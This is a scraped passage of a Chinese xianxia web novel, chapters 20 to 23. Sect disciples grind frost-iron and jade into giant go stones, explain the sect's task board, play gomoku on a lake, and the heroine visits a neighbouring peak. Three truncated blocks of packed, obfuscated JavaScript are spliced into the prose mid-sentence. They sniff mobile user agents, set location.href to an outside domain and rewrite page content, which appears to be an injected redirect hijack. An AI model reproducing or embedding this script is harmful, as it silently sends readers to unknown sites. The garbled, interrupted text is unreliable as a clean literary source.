他自己也说不清是怎么了,他自小养在师尊身边,师尊喜静寡言,他耳濡目染,也养成了沉默少语的性子。 除了莫玄春和他说话时总没遮没拦,其他同门见了他,多半是恭敬有余,亲近不足。可自从见到这位名字和他十分相像的小师妹,他总觉得自己变了。 他会下意识地留意她的举动,忍不住想和她亲近、同她说话。 甚至……有很熟悉的感觉。 沈玄清倒也不想去细究这变化,或许有些事本就无需缘由,他目光落在那堆黑黢黢的凝霜铁上,岔开了话题:“这凝霜铁,你打算做什么用?” “我想……”沈玄宁眼睛一转,说出了自己的想法,“用这些凝霜铁和这块洗心玉,做一副棋子。” “做棋子?那如何用得了这么多?” 沈玄宁蹲下身,用手在地上比划了一个夸张的圆形,“我意思是,一块凝霜铁,就磨一颗棋子。” 沈玄清道:“你哪来这么大的棋盘?” “自然是有的。” 20.师门任务 沈玄清应下了这事,自那天起,他日日都得来沈玄宁的院子里面帮她做棋子,这些凝霜铁的寒气于他而言虽算不上大碍,却也需时时运转灵力抵御。 他每日耗着灵力,将那些黑黢黢的墨石细细打磨成圆润的棋子,沈玄宁就支着下巴坐在廊下,托着腮帮子看得认真。 以她如今的修为,别说打磨棋子,单是将凝霜铁托举起来都得费上不少劲儿,更别提长时间凝神雕琢了。 也不知道大师兄如今是什么修为,拿着这凝霜铁看着跟没事人一样,而且还能用灵力来磋磨它的形状。 沈玄宁忍不住问道:“大师兄,你如今是什么修为了啊?” “怎么?” “就是好奇。” 沈玄清磨着棋子没有抬眼,半晌才回了她一句:“元婴期大圆满。” “元婴期大圆满!” 那岂不是……马上就要化神了? 修真界修士修炼到元婴期已是极为不易,化神期更是一道天堑,百年内就有望化神的,更是能被载入史册,不世出的天才。 沈玄清看她的表情就知道她在想什么:“想要化神没那么容易。” 他依然耐心地坐在院子里磨着凝霜铁,灵力宛若一汪净水,包裹着凝霜铁缓缓旋转,而后一点点磨成棋子的形状,脚边的大强不知何时凑了过来,趴在他脚边一拱一拱的。 沈玄清低头瞥了眼这灵兽,又看见坐在廊下的沈玄宁打了个哈欠,眸光微动,像是忽然想到了什么,他抬起手伸出两指并拢一转,指尖灵光一闪,而后淡淡地说了一句:“下山来。” 沈玄宁闻言一脸疑惑地看着他,问道:“大师兄,你在和谁说话?” 话音未落,三道身影先后掠入院中,正是她另外的三位师兄。 冷玄明刚落地便是嚷嚷道:“大师兄,何事叫我们啊?” 林玄同道:“大师兄,这扩音术你可甚是少用啊,出大事儿了?” 宋玄之也猜测道:“难不成是有师门任务了?” “三师兄,四师兄,六师兄好。”沈玄宁忙从廊下起身朝着三位师兄行礼。 “嗯,小师妹好啊。” “自然是有事。”沈玄清抬了抬下巴,眼神示意他们看向院子中央那堆黑黢黢的墨石,言简意赅道:“磨这个。” 冷玄明顺着他的目光看去,瞧见那堆凝霜铁时先是一愣,随即有些无语地垮下脸:“大师兄,我们都多大岁数了?早就过了用凝霜铁淬炼灵力的时候了。” “凝霜铁啊?”林玄同走上前,饶有兴致地抬手搭在一块凝霜铁上,指尖刚触到石面,便像被针扎似的猛地缩回,倒吸一口凉气道:“怎么这么冰?” 他已是元婴期修士,寻常凝霜铁的寒气根本不会让他感觉到温度。 宋玄之也走上前,指尖轻轻拂过石面,沉吟道:“原来是千年凝霜铁,怪不得这寒气能冻到你。” 冷玄明瞪圆了眼睛:“这哪来的这么多千年凝霜铁啊?” 老实人沈玄宁指了指后面,道:“院子后面的一个小水潭里挖的。” 冷玄明奇道:“我从前时常在这房顶上睡觉,怎么不知道这后面小水潭里还有千年凝霜铁?” 然而震惊的事情还在后面,绕过凝霜铁的冷玄明似是看到了什么不得了的东西,惊呼声又炸了起来:“我靠!这什么玩意儿?” 他围着这小土坡一般高的洗心玉转了两圈,满眼难以置信:“这是该不会是洗心玉吧?” 寻常洗心玉能有拳头大已是珍品,可眼前这像座小山峰的一样的洗心玉,通体莹白,连一丝杂色都没有,价值已不知该如何估量了。 “怎么会有这么大的洗心玉?”冷玄明咂舌不已,冲着沈玄宁道:“小师妹,这该不会也是小水潭里挖的吧?” “是啊……”沈玄宁讷讷问道:“这很值钱吗?” 冷玄明道:“何止是值钱,你知道这拳头大的一块已经够……” “好了!”沈玄清突然开口,截住了冷玄明的话头,“干活吧。” 冷玄明悻悻地闭了嘴。 宋玄之的目光落在沈玄清手边那些磨好的凝霜棋子上,凝霜铁被打磨得圆融,显然是用极精纯的灵力细细雕琢过的,虽然大了一些,但还是十分明显地能看出是棋子的形状。 他温和一笑,问道:“大师兄是要我们把这些形状不一的凝霜铁,都磨成这般圆润的棋子吗?” 沈玄清颔首:“嗯。” “好的,我知道了。”宋玄之也寻了个地方坐了下来,抬手轻招,离他最近的一块凝霜铁便如被无形丝线牵引,稳稳落入他掌心。指尖触及墨石的刹那,他眉峰微蹙,随即立刻稳住心神,又对林玄同道:“你不是说感觉要晋升了么?这千年凝霜铁,也许能助你一臂之力。” “哦?”林玄同眼睛一亮,朝着沈玄清拱手一拜,“多谢大师兄。” 是以莫玄春提着食盒晃进院子时,看到的便是这样一幅景象—— 她的几位师兄弟都在院子里专心致志地磨着数量颇多的凝霜铁,而小师妹则是怀里抱着一头猪,监工一般地坐在旁边看着。 “哟。”莫玄春挑了挑眉问道:“这是啥阵仗?” “大师姐。”宋玄之等人纷纷和她打招呼。 “凝霜铁,你们拿这玩意儿在这儿回味童年呢?多大了还玩这个。”莫玄春踱步向前,看到洗心玉以后和冷玄明是一个反应,“嚯,好大的洗心玉啊,哪来的?” 冷玄明:“小师妹在后院挖的。” 莫玄春:“编点好的。” 沈玄宁:“……” 林玄同正专心致志地干着活,忽然闻到一阵味道,他鼻尖微动,下意识地四处嗅了嗅:“这什么味啊?怎么这么熟……” “是城南香伯家的臭豆腐!”冷玄明大惊失色,“大师姐,你又去隔壁符天峰抢他们的师门任务了?” “是啊。”莫玄春哈哈一笑,掀开了手里的食盒,一股浓郁的味道立刻弥漫开来:“小明要不要吃,我多买了一份。” 沈玄清缓缓闭了闭眼:“……” 沈玄宁望着食盒里辣椒堆积的臭豆腐,实在是想不通:“师门任务……和臭豆腐有什么关系?” 宋玄之道:“师妹刚来内门,可能不知道这师门任务的规矩。” 小说里是有提到师门任务的,沈玄宁自然是知道这事儿,但是确实是不知道这师门任务和臭豆腐有什么关系。 她立刻端正坐姿,虚心求教道:“还请三师兄赐教。” 宋玄之道:“所谓的师门任务,就是各峰峰主还有长老们会定期发布的一些任务,按照难易程度以星级排序,其中一星最为简单,五星则是最难。” 沈玄宁是一个很配合听讲的学生,立刻适时提问:“那三师兄,这任务都有些什么呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185223|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋玄之娓娓道来:“凡世百姓若遇邪祟精怪侵扰,便会来向我宗求助,这类任务多是一星到三星,宗门也不会向百姓索取任何费用。而附属于逍遥宗的一些仙门世家,若遇上棘手的妖魔异兽,也会向我宗求援,这种一般是四星到五星,需要向各家仙门收取一定的费用。像玄慈这次去灵州镇压异兽,就是接到了灵州许氏的委托,此行危险,属于是五星级的任务。” 他又补充道:“当然,也不全是镇祟除妖的任务,只是那些日常任务的指向性一般都很强。比如求医问药之事,多由栖霞峰发布,也基本是由栖霞峰的弟子接取,机关法器这类,则多是玲珑峰的任务,其他峰的弟子即便接了,怕是也难以胜任。这些师门任务每日清晨会在各大主峰的万象碑上公示,各峰弟子接取后,按任务星级与完成度,能获得数量不等的逍遥令。 ” 沈玄宁道:“那这个逍遥令,有何用处呢?” 宋玄之道:“逍遥令是内门弟子完成师门任务的一种凭证,可在各大主峰换取自己需要的东西,比如去玲珑峰换取法器,去百灵峰换取灵兽,亦或是去栖霞峰换取丹药。” “所以那些不挑修为、不看专精的师门任务,就成了众多弟子哄抢的目标了。”宋玄之的语气里带了几分笑意,“其中最出名的任务,就是符天峰方师叔的了。” 沈玄宁好奇问道:“为何出名?” 宋玄之道:“因为方师叔的任务最简单,只需下山为他买些吃食即可。” 冷玄明嘴里吃了一口莫玄春给他的臭豆腐,含含糊糊接话道:“什么城南香伯的臭豆腐、东街王氏的麻辣涮肚,城北酒仙的炸小鱼……说是任务,其实就是下山帮方师叔他跑腿买零嘴。” “这也能叫师门任务?”沈玄宁听得目瞪口呆:“应该拿不到多少逍遥令吧?” 宋玄之道:“这任务,是五星级的。” 沈玄宁:“……” 她语气艰涩地确认:“三师兄,你的意思是,下山去给方师叔买臭豆腐,和五师兄去灵州镇压异兽是一个星级的吗?” “正是,这就是方师叔的任务最出名的原因了。” “这任务每天都有?” “是啊,每天都有。所以每天有许多弟子蹲守在符天峰的万象碑那边就是等着抢方师叔的任务,只不过方师叔的任务不是每日清晨张贴的,全看他什么时候想吃了。” 沈玄宁默默吐槽,这符天峰峰主方不夷嘴也是太馋了些。 冷玄明头痛道:“大师姐,你怎么又去符天峰抢这师门任务了啊,下回元清师兄见着我们,又要叨叨了,什么你们问剑峰的人不要去抢方师叔的任务啊之类的,我每次听完头都大了,分明我一次没抢过!他就逮着我薅!” 莫玄春闻言摆了摆手,道“哎呀,这小元子爱念叨又不是一天两天了,就抢这一回。” 林玄同道:“大师姐你上次也说就抢这一回的。” 莫玄春咳嗽了一声,道:“我就是看小师妹这院子里还缺些灵植,想去扶疏峰给她换些好东西回来,结果发现这逍遥令还差几个,这不想着顺路……” 莫玄春的声音戛然而止,因为地上突然出现了一堆红色的令牌,层层叠叠堆得像座小山。 沈玄清淡定地收回手,眼皮都没抬一下,又继续磨凝霜棋子了。 在场几人均是一脸的震惊。 “沈玄清!你哪来这么多逍遥令啊!!!” 21.映月棋盘 面对周围几人震惊的眼神,沈玄清淡淡道:“攒的。” 冷玄明崩溃道:“你攒什么你也不能堆成这样啊,大师兄!” 沈玄宁看着面前这一堆逍遥令,顺势问道:“每个主峰都会发布任务,那我们问剑峰也有吧?怎么没看到我们的万象碑,我想去看看有什么师门任务。” “这个嘛……”宋玄之摸了摸下巴,“我们的万象碑确实不在山门口,在峰顶。不过你也不用特意跑一趟,平时基本没什么师门任务可看。” 沈玄宁道:“我们没有师门任务?这么闲的吗?” 宋玄之道:“倒也不是闲,除了外面仙门世家和凡世百姓的求助,各峰内部缺人手时也会发任务,所以这各峰的师门任务加起来数量其实很多。只是我们问剑峰没有什么需要旁人来帮忙的,平时也就没什么内部的任务,外面的救助委派四星以下的基本也不会挂到我们问剑峰来,是以我们主峰基本很少发布什么师门任务,就算有也是大师兄直接通知我们。” 冷玄明道:“之前总有人来我们这边看师门任务,盼着我们这边也能出一个方师叔这样的,但我们这的万象碑总是空空如也,来的人多了大师姐嫌这万象碑在山门口碍眼直接就搬到峰顶去了。” “我们这儿是没啥师门任务的,小师妹你要是这么勤快,不如——”莫玄春眼睛一亮,兴奋道,“我带你去符天峰抢方师叔的任务吧。” “不了不了,大师姐!我一点都不勤快!”沈玄宁连忙摆手,“我还是先好好修炼,稳固修为吧。” 不过到时候,以去符天峰蹲师门任务为借口,经常拐去看看陆远声倒是可行。 “也是,好好修炼才是正经事,其他的事等你先晋入金丹再说。” 莫玄春道,“你在外门修炼三年,如今已是筑基期大圆满,虽是天生金丹,但也离不开你认真修行,想必本门的内功心法你定是很熟练了。你既没有金丹雷劫,那么就省去了其他很多事,现下只需好好修习剑术。师尊把他的佩剑给了你,自是有他的道理,小师妹,破妄剑威力强大,金丹期之前怕是难以很好地掌握,修炼时还需小心,切莫让灵力反噬伤了自己。” 沈玄宁点了点头道:“多谢大师姐,我会注意的!” “行,剑术的事,就让你大师兄教你吧。”莫玄春吃了一口臭豆腐,“师姐后面可能有点忙。” 冷玄明挤眉弄眼道:“大师姐,你是忙着去符天峰抢他们的师门任务吗?” “哎,这是什么话,符天峰那帮慢半拍的,就算我不去,他们也抢不到啊,对了,刚问了还没说呢,你们齐刷刷聚在这里是干什么?”莫玄春也捡了一块凝霜铁看了看,“千年凝霜铁,好东西啊。” “大师兄让我们磨棋子儿呢。”林玄同半天没吭声,倒是磨得认真。 “磨什么棋子儿,沈玄清,你要下棋啊?”莫玄春道,“你快别了吧,整个问剑峰谁能下过你啊,你能找谁陪你下?小师妹会?” “下……围棋吗?”沈玄宁摇摇头,“要是下这个,我也是棋艺不精的。” 沈玄清听到这话动作一顿,微微歪了歪头看向她,那双素来清冷无波的眸子里盛满了疑惑,一脸你不会下棋磨什么棋子儿的直白表情。 他先前见沈玄宁主动提议磨棋子,还当她棋艺颇精,甚至悄悄在心里琢磨,或许能找个闲暇日子,与她对弈几局,却没料到,竟是自己想岔了。 沈玄宁硬着头皮道:“其实我是想着,下五子棋来的。” 沈玄清道:“何为五子棋?” 沈玄宁这才反应过来,这修真界似乎并没有五子棋的说法。 她组织了一下语言解释:“就是跟围棋用的是同一种棋盘,但是要简单一些,不用围地,也不用算气,就拿咱们磨的黑白棋子,在棋盘上落子,不管是横着、竖着,还是斜着,只要谁先把五颗自己的棋子连成一条直线,就算谁赢了。” 冷玄明道:“听着好像很有意思啊,但这个棋子磨这么大,你要去哪儿下啊?” 沈玄宁道:“门口的湖啊,这么大还这么方正的湖,不拿来下棋岂不是可惜?” 说着她从锁灵囊里取了一支莹白的玉笔出来,笔尖沾着点灵力,抬手在空中轻轻画了几笔,只见细碎的金光随着笔尖流转,很快勾勒出一个四四方方的小棋盘轮廓,横竖线条规整,连格子大小都分毫不差。 宋玄之目光落在她手中的玉笔上,笑道:“这是绘灵笔?小师妹在外门倒是把玲珑峰的聚灵阵学得很扎实啊,看来在这上面天赋也不小。” 冷玄明道:“这我知道,玲珑峰的尹文霜平时就没少去外门,还给小师妹开小灶,她学得好倒是不稀奇了。” “绘灵笔?那不是玲珑峰内门弟子才有的法宝吗?”林玄同啧了一声:“怎么又有他们玲珑峰的事儿,他们玲珑峰的怎么这么爱盯着我们的人啊?” 沈玄宁听到尹文霜的名字倒是有些不好意思,外门三年,尹文霜待她确实是极好的,教自己画聚灵阵,而且还送了她不少法宝,虽然他非常想要自己大考后入玲珑峰,但还是表示会尊重自己的选择。 如今既已入了内门,还是要寻时间去玲珑峰看看尹文霜。 “对,是绘灵笔。这笔是尹师兄送我的,他人很好的。” 沈玄清道:“你打算用聚灵阵在湖面上画个棋盘?” 沈玄宁点头道“对,就是在门口这个映月湖上画个棋盘,到时候用灵力托举凝霜棋子浮在聚灵阵法之上,消耗灵力同时修炼,定能有所进益,而且还能顺便下下棋练练脑子。” 沈玄清听完别开了眼,语气平淡地拆台道:“你下你那五子棋,能练什么脑子?” 莫玄春斜睨着他,道:“沈玄清,你要不舔一口自己的嘴,看看会被毒死不?” 她突然指尖一抬,那柄火红色的仙剑立刻出现,自动出鞘后剑身裹着灼热的灵力,刺在了洗心玉中心。 只听“轰隆”一声,那座如小山峰一般的洗心玉竟毫无阻滞地四分五裂,裂开的玉块大小均匀,显然莫玄春的灵力精准控制了力道,没半点误差。 莫玄春也在旁边坐了下来,“行了,既是小师妹想要,那我也帮帮忙吧。” “谢谢大师姐!” 说着她抬手一扬,一缕赤色灵力如绸缎般卷过地面,瞬间抄起三四块洗心玉碎石,灵力裹着玉块在空中快速旋转,风声裹挟着细碎的玉屑簌簌落下。 一段时间后,那些规整的玉块就被磨成了圆润饱满的棋子形状,边缘都透着细腻的光泽。 洗心玉温养经脉因而触手生温,倒是没有凝霜铁那刺骨的寒意,沈玄宁也尝试着用灵力包裹了洗心玉来打磨棋子,这个只需要用灵力控制打磨形状即可,但是简单上许多。 问剑峰的几人在山脚下的庭院里连磨了三日棋子,终于将那堆千年凝霜铁与洗心玉都变成了的黑白棋子,黑棋一百八十一颗,白棋一百八十颗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192341|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚收拾完林玄同就说有似有晋升之感便回了山上闭关稳固境界,宋玄之要为他护法也是一起走了。 沈玄宁打算去画棋盘,却忽然发现自己虽然有天下第一的神兵破妄剑在手,但好像还没学会御剑。 她如今没有达到金丹期还不能凭空飞行,大强如今还小沈玄宁也不好意思把它当坐骑,看来还是要学一下御剑,不然在这儿内门来去也不方便。 “大师兄,可否能教我御剑?” 沈玄清点头:“以你如今筑基大圆满的修为,御剑不难。” “多谢大师兄!” 沈玄宁立刻把锁灵囊里的破妄剑取了出来。 “御剑的根本,其实就在于以灵力引动剑心,需让你的灵力与它契合才能做到剑随心动。”沈玄清从锁灵囊里取了一柄银白色的仙剑出来,“破妄剑是师尊从前的佩剑,跟随师尊多年,灵识早已成型,它不熟悉你的灵力,可能会比寻常的剑更难驾驭,若是要练习,可以从这柄剑开始练,此剑上没有任何灵识,你会更好操控。” “多谢大师兄的好意。”沈玄宁道:“但是我想先试试这破妄剑,毕竟它已是我的佩剑,总要先看看我们合不合得来。” “也好,若是遇到抵抗,不要逞强,立刻收回灵力。” 沈玄宁应了声“好”,深吸一口气,闭上眼将灵力缓缓注入破妄剑中。 她本以为会感受到什么强大的阻力,没承想灵力刚触到剑鞘,破妄剑便似有感应般,瞬间散发出柔和的光,下一秒,破妄剑应召而出,没有半分抵抗顺着她的灵力腾空而起,在庭院上空灵活地转了一圈,最后稳稳停在了沈玄宁面前。 沈玄清站在一旁,原本微蹙的眉峰渐渐舒展开,眼底掠过一丝明显的意外道:“破妄剑与你倒是相合。” 莫玄春也是赞叹道:“小师妹这么厉害啊,破妄剑这等神兵都能一次掌控,真是天生的剑修苗子。” 沈玄宁冲着二人笑了笑,不知道为什么,她总觉得这剑给她一种很熟悉的感觉,对她不抵抗想来也是这个原因。 她小心翼翼地踏上破妄剑,剑身稳稳托住她,没有丝毫晃动。 沈玄宁心里默念着“起”,同时用灵力引导着破妄剑缓缓升空,抬手一挥,指向院外映月湖的方向,破妄剑没有半分迟疑,载着她轻盈地滑出庭院,悬停在映月湖的上空。 映月湖的水面平静如镜,倒映着满山的翠色与空中的一人一剑。 她手掌一翻便取出那支莹白的绘灵笔,将丹田内的灵力源源不断注入笔杆,原本通透的玉笔瞬间被金光裹住。 沈玄宁抬手落笔,一道金线便在碧波上绽开,手腕轻转,笔走龙蛇般勾勒出一个四四方方的小棋盘,阵纹细密如蛛网,每个节点都泛着淡淡的金光。 画完后她双手向两侧拉开,控制着那小小的聚灵阵沉入碧波之下,没激起半点涟漪,只在水面留下一圈极淡的光纹,转瞬即逝。 而后她双手一抬,霎时间,湖底的聚灵阵骤然爆发强光。 两道粗壮的金线从湖中心冲天而起向着湖面两端蔓延,不过瞬息,横向与纵向的金线便横跨整个映月湖,将平静的湖面分割成规整的网格。 紧接着,更多的金线从这两道主线中衍生而出,横平竖直,间距均匀,很快便在湖面上织成一个巨大的棋盘,棋盘的纹路泛着温润的金光,与湖中碧波交相辉映,远处的山影倒映在网格间,像是天然的棋坪缀上了一幅山水画卷。 22.手慢无了 沈玄宁甚是满意地看了看这映月棋盘,御剑贴近了湖面。 刚才画聚灵阵凝结棋盘纹路,抽走了沈玄宁不少灵力,不过倒是没什么力竭的感觉,此刻她真切意识到,自己是真的到了筑基期。从前在外门每日都是默默苦修,几乎没有需要大量消耗灵力的地方,她基本是没直观感受过自己目前的灵力到底是怎么样的情况。 “聚灵阵画得不错。” 清冷的声音从头顶传来,沈玄宁抬头望去,沈玄清和莫玄春都是凭空悬立在湖面之上。 沈玄宁立刻控制着破妄剑往上飘了飘,凑到两人身边:“大师兄,大师姐,要不要试试?” 莫玄春:“不了不了,你们试吧,我可不爱下棋。” 沈玄清不置可否,抬手从庭院中吸了一枚黑子上来,他侧过头,墨色的眸子看向沈玄宁,她立刻会意,有样学样地用灵力牵引了一枚白子上来。 “多谢大师兄让我。” 五子棋讲究先占中心,这样后续不管横、竖、斜着连子,都能有更多机会。 沈玄宁手腕轻转,控制着白子往棋盘中心的交叉点落去,巨大的洗心玉棋子刚一触到湖面,就被聚灵阵法稳稳托住,湖面以它为中心漾开一圈浅浅的涟漪,沈玄宁倒是没有太大的感觉,这毕竟是能温养经脉的灵玉,不会像凝霜铁一般触碰都会消耗灵力,只是托住将它浮空并不费劲儿。 她提醒道:“嘿嘿,大师兄,记得是下五子棋哦。” 沈玄清没有多言,只缓缓抬手,控制着黑子落在白子右侧的交叉点上。 沈玄宁又取了一枚白子上来,第二枚白子在中心左侧。 围棋讲究围地控势,需通盘谋划,五子棋就简单多了,只需要盯着连五子的目标,其实有点像是将围棋的局部死活放大成了全局。沈玄清指尖微抬,黑子没有去堵横向的缺口,反倒落在左侧白子的正上方,顺着纵向落下一子。 两人一攻一守,棋子在映月湖的金光棋盘上渐渐铺开,沈玄清没下过五子棋,落子偏于布局,总想着留后手、铺暗线,沈玄宁是玩惯了五子棋的,深知快棋的精髓,每一步都盯着三连冲四的机会,逼得沈玄清不得不频繁回防。 下到不知第几步时,沈玄宁忽然笑了,她的白子在左下角已悄悄形成活三,三枚白子斜向相连,两端都有空位,沈玄清的黑子无论堵哪头,她都能再补一枚形成冲四。 沈玄宁又落了一枚白子,四枚洗心玉棋已经连了起来,她抬头朝着沈玄清笑道:“大师兄,我赢啦!” “哈哈哈哈哈哈!!”莫玄春在一旁看得津津有味,闻言立刻爆发出一阵狂笑,还拍了拍沈玄清的肩膀,“不是吧,你也有输的一天啊。” 沈玄清的目光落在那道连成线的白子上,墨色的眸子里掠过一丝不易察觉的笑意,他朝着沈玄宁轻轻点头:“嗯,你赢了,很厉害。” 被夸得喜滋滋,沈玄宁下意识便接话:“我下五子棋本来就很厉害!以前我哥……”话说到一半,她忽然顿住。 沈玄清敏锐地捕捉到她的停顿,只是问道:“你还有哥哥?” 沈玄宁抬头看向他,扯了扯嘴角想挤出个轻松的笑,却怎么都掩不住语气里的苦涩:“有,不过他已经不在了。” 莫玄春脸上的笑意瞬间收了,她没料到会是这样的回答,立刻道:“小师妹,以后问剑峰就是你的家了,有什么事就找师姐。” “嗯,我知道,谢谢大师姐。” 沈玄清同她对视片刻后,心中莫名也起了一阵波澜,但他素来不擅表露情绪,遮掩后又恢复了惯常的清冷,他把湖面上的棋子收回到了庭院里,留下一句好好修炼而后化作一道淡青色的流光,很快就消失在了问剑峰山间云雾之中。 “这人最近老这么奇奇怪怪的,一会儿一变脸。”莫玄春看着他消失的方向,又摇了摇头,“小师妹,我也走了,你好好修炼。” “等等,大师姐!”沈玄宁心里忽然想起下山的事,连忙叫住她问道,“我想问,若是我想下山是需要向谁禀告吗?” 莫玄春道:“按照规矩,内门弟子下山也需要通禀师尊或者长老,如今师尊闭关,你若是想下山就跟你大师兄说一声就成。” “不过嘛——”她飞到了沈玄宁附近,突然压低声音一副过来人的样子的语气,“如果不想通禀的话就去抢符天峰的师门任务吧,拿了直接就能下山去镇上闲逛。” 沈玄宁震惊道:“方师叔的师门任务,还能这么用吗?” 莫玄春道:“大家都是这么用的。” 沈玄宁一脸煞有其事地抱拳:“多谢大师姐指点迷津。” 莫玄春走后沈玄宁又用灵力去浮起了一枚凝霜铁制成的黑子,入手还是熟悉的刺骨寒意,顺着灵力往身体里窜,冻得她忍不住龇牙咧嘴,却还是咬牙稳住灵力,将凝霜棋子缓缓浮了起来。 这还不算什么,等她把着凝霜棋子落到湖面的聚灵阵上时,她明显感觉到聚灵阵一下子抽了她不少灵力来托举这枚凝霜棋子。 沈玄宁又落了一枚白子在棋盘上,先前被抽走的灵力竟有了一丝回流,丹田的滞涩感也缓解了不少,她干脆一边修炼一边交替着落子尝试极限,第一天只能放置三枚棋子就无法维持聚灵阵了。 白日她就御剑在映月湖上用凝霜棋子和洗心玉锤炼灵力,入夜后则以入定当睡眠地修炼,半月后她竟然已经可以黑白两子连线地放下十枚棋子了,没像之前那样气喘,就连灵力也明显感觉到了凝实了一些。 如今入内门已有月余,她还是打算先去符天峰看看陆远声,不过这才过去一个月,想来他在符天峰修行,应不会出什么岔子。 符天峰离得不远,也是在问剑峰的隔壁,如今她日日御剑,已然熟练了不少,很快就到了符天峰。 在符天峰山门前刚收了剑,就见不远处聚着不少弟子,远看是一个巨大的石碑,上面贴了不少发着光的玉简,想来这就是师兄他们说的万象碑,她好奇地凑过去,顺着人群的缝隙往里看 目光扫过上面的玉简,只见每一枚玉简的顶部都缀着数量不一发着光的银星,越到下面星级越少。 符天峰 ★★★★ 任务委托方:云州慕容氏 任务地点:云州慕容山庄 任务概要:慕容山庄世代守护的洗剑池近日受邪祟侵扰,池水浑浊,灵气尽失,池中滋养的数百柄仙剑哀鸣不止,庄内弟子多方查探无果,反有数人靠近后心神受扰、性情暴躁。疑有邪祟滋生或恶咒施为,特向逍遥宗求援。 任务目标:查明污秽之源,镇祟驱邪,净化洗剑池。 任务建议:非金丹中期以上修为不可接取,需至少二人以上结伴而行,且其中需包含一名符天峰弟子 符天峰 ★★★★ 任务委托方:青州云氏 任务地点:青州瘴林秘境 任务概要:青州瘴林秘境中孕育百年的九心莲即将成熟,但周边有妖魔入侵突发毒瘴暴动,守护灵兽受邪祟影响已狂化失去神智,现只能短暂镇压,特向逍遥宗求援。 任务目标:需铲除入侵妖魔,且净化灵兽体内邪祟之气,清除毒瘴。 任务建议:非金丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199947|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中期以上修为不可接取,需至少三人以上结伴而行,且其中需包含一名符天峰弟子及一名百灵峰弟子。 符天峰 ★★ 任务委托方:阜阳村村民 任务地点:阜阳村后山 任务概要:近日阜阳村后山夜半常有异响,数座荒坟被掘,有三名村民遭走尸袭击身中尸毒,走尸活动日益频繁,村民不敢进山伐薪采药。 任务目标:清剿作乱走尸,查明尸变原因,安抚村民。 任务建议:建议筑基中期以上修为,建议二人以上结伴而行,且其中需包含一名符天峰弟子以及一名栖霞峰弟子。 …… 沈玄宁大致扫了几个玉简看了看,星级越高的师门任务对于修为就卡得越死,不过哪怕是最低的一星任务,也需要筑基初期的修为,看来内门弟子外出的底线就是筑基期。 毕竟是需要外出的师门任务,山外危险难测,这般严格的修为限制,定然是宗门经过反复评估后定下的,既是为了保证任务能完成,也是为了护弟子周全。 因为是符天峰挂出来的师门任务,所以基本都是镇祟驱邪,净化魔气之类相关的,其他峰的弟子当然也可以接取符天峰的任务,只是大多任务建议都是需要符天峰的弟子同行。 除了…… 沈玄宁还在津津有味地看着各种师门任务,却见万象碑最上方忽然亮起一道刺眼的金光。 一枚比其他任务玉简大一些的金色玉简凭空出现,顶部缀着的五颗金星亮得晃眼。 符天峰 ★★★★★ 任务委托方:符天峰方不夷 任务地点:云山镇城西李记羊肉汤 任务目标:城西李记羊肉汤一碗 任务建议:无 “来了!!!” “抢啊!!!!” “都别跟我抢!!这是我的!!” 金色玉简一出现,全场突然安静了一秒,而后不知是谁喊了一声,围在周围的各峰弟子都是瞬间动了起来,一个最前方的弟子反应最快,脚尖一点地面便腾空而起,指尖灵力刚触到金色玉简,那玉简便化作一道流光,稳稳落入他掌心。 他握着玉简,笑着冲周围拱手,语气里满是得意:“承让承让!各位同门莫怪,手慢无啊!”说罢,生怕别人抢似的,踩着剑就飞走了。 万象碑上的灵光随着任务被接走渐渐淡了些,原本密密麻麻的玉简少了大半,连最显眼的四星任务都被摘走了三四枚,周围的弟子们三三两两凑在一起商量组队接任务,喧闹的人群很快稀疏下来。 沈玄宁默默看完万象碑上的任务,刚想转头上山,却突然看到一道熟悉的身影站在她身后。 她愣了愣,一时竟没敢立刻开口。 不过一个月未见,陆远声像是换了个人似的 他穿着一身广袖的水墨道袍,外层罩着件月白色纱质长衫,纱料轻薄如雾,边缘处还绣着暗纹,内搭的素色里衣上有几笔淡墨勾勒的太极印,线条流畅写意,倒是为他添了几分书生般的疏朗文气。 衣摆处还坠着精致的银色流苏,腰间条纹样繁复的腰带右侧嵌了颗莹润的白玉扣,下方挂着一枚八卦形状的玉佩,精致的银冠衬得他原本锋利的眉眼,都多了几分温润雅致。 沈玄宁还没来得及开口打招呼,就看到陆远声一脸神色复杂地看着她。 陆远声道:“你也是来给师尊买羊肉汤的吗?” 沈玄宁:“……” 她不是她没有!好吗! 虽然她刚刚在万象碑前站了那么久嫌疑真的很大! 23.心化魔种 沈玄宁讪讪一笑,道:“我说我是路过你信吗?” 陆远声抱着胳膊,月白纱衣被风拂得轻轻晃荡,语气连半分犹豫都没有:“不信。” 